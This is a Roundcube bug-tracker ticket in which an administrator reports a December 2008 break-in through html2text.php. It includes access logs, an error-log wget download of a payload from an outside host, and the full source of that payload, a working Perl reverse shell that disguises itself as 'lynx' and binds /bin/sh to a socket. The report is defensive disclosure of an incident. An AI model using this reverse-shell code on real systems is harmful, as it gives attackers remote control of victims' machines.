Ticket #1485618 (closed Bugs: fixed)
Break-in possiblity via html2text.php?
| Reported by: | RealMurphy | Owned by: | |
|---|---|---|---|
| Priority: | 5 | Milestone: | 0.2-stable |
| Component: | Security issue | Version: | 0.2-beta |
| Severity: | critical | Keywords: | security |
| Cc: | pnfisher@… |
Description (last modified by till) (diff)
Hi all,
since I cannot reproduce this I try to describe this problem from the current installation status and not against trunk (sorry for that).
Last night someone broke into my apache-container via roundcube (99.9% sure here), the system is a current Debian Lenny, with these versions:
roundcube 0.2-beta PHP is 5.2.6 mailserver is postfix on a remote virtual server
In the logs I have found the following:
apache's access.log:
192.168.100.2 - - [08/Dec/2008:23:07:50 +0100] "POST /roundcube/bin/html2text.php HTTP/1.1" 200 54 "-" "Googlebot/2.1 ( http://www.google.com/bot.html)" 192.168.100.2 - - [08/Dec/2008:23:07:53 +0100] "POST /roundcube/bin/html2text.php HTTP/1.1" 200 25 "-" "Googlebot/2.1 ( http://www.google.com/bot.html)" 192.168.100.2 - - [08/Dec/2008:23:05:16 +0100] "POST /roundcube/bin/html2text.php HTTP/1.1" 200 - "-" "Googlebot/2.1 ( http://www.google.com/bot.html)" 192.168.100.2 - - [08/Dec/2008:23:08:09 +0100] "POST /roundcube/bin/html2text.php HTTP/1.1" 200 - "-" "Googlebot/2.1 ( http://www.google.com/bot.html)"
192.168.100.2 is another webserver acting as a proxy to this webmail apache (i.e. just rewriting and forwarding the requests), the real IP was
200.171.152.187 - - [08/Dec/2008:23:07:50 +0100] "POST /roundcube/bin/html2text.php HTTP/1.1" 200 54 "-" " Googlebot/2.1 ( http://www.google.com/bot.html)" 200.171.152.187 - - [08/Dec/2008:23:07:53 +0100] "POST /roundcube/bin/html2text.php HTTP/1.1" 200 25 "-" " Googlebot/2.1 ( http://www.google.com/bot.html)" 200.171.152.187 - - [08/Dec/2008:23:05:16 +0100] "POST /roundcube/bin/html2text.php HTTP/1.1" 200 - "-" "G ooglebot/2.1 ( http://www.google.com/bot.html)" 200.171.152.187 - - [08/Dec/2008:23:08:09 +0100] "POST /roundcube/bin/html2text.php HTTP/1.1" 502 595 "-" "Googlebot/2.1 ( http://www.google.com/bot.html)"
In the error log I see this nasty bit at the same time:
--2008-12-08 23:05:16-- http://mmbt.co.uk/img/back.txt
Resolving mmbt.co.uk... 81.31.121.138
Connecting to mmbt.co.uk|81.31.121.138|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 541 [text/plain]
Saving to: `back.txt.1'
0K 100% 56.0M=0s
2008-12-08 23:05:16 (56.0 MB/s) - `back.txt.1' saved [541/541]
For completeness this is the script which was downloaded:
#!/usr/bin/perl
use Socket;
$cmd= "lynx";
$system= 'echo "`uname -a`";echo "`id`";/bin/sh';
$0=$cmd;
$target=$ARGV[0];
$port=$ARGV[1];
$iaddr=inet_aton($target) || die("Error: $!\n");
$paddr=sockaddr_in($port, $iaddr) || die("Error: $!\n");
$proto=getprotobyname('tcp');
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");
connect(SOCKET, $paddr) || die("Error: $!\n");
open(STDIN, ">&SOCKET");
open(STDOUT, ">&SOCKET");
open(STDERR, ">&SOCKET");
system($system);
close(STDIN);
close(STDOUT);
close(STDERR);
There is nothing in either console, errors or sendmail in roundcubes log messages.
Since I believe this is potentially dangerous (and this incident happened to put my box onto several blacklist for sending out >50k spam emails) I've bumbed up the severity.
Anything else you could need from me?
Cheers
Carsten
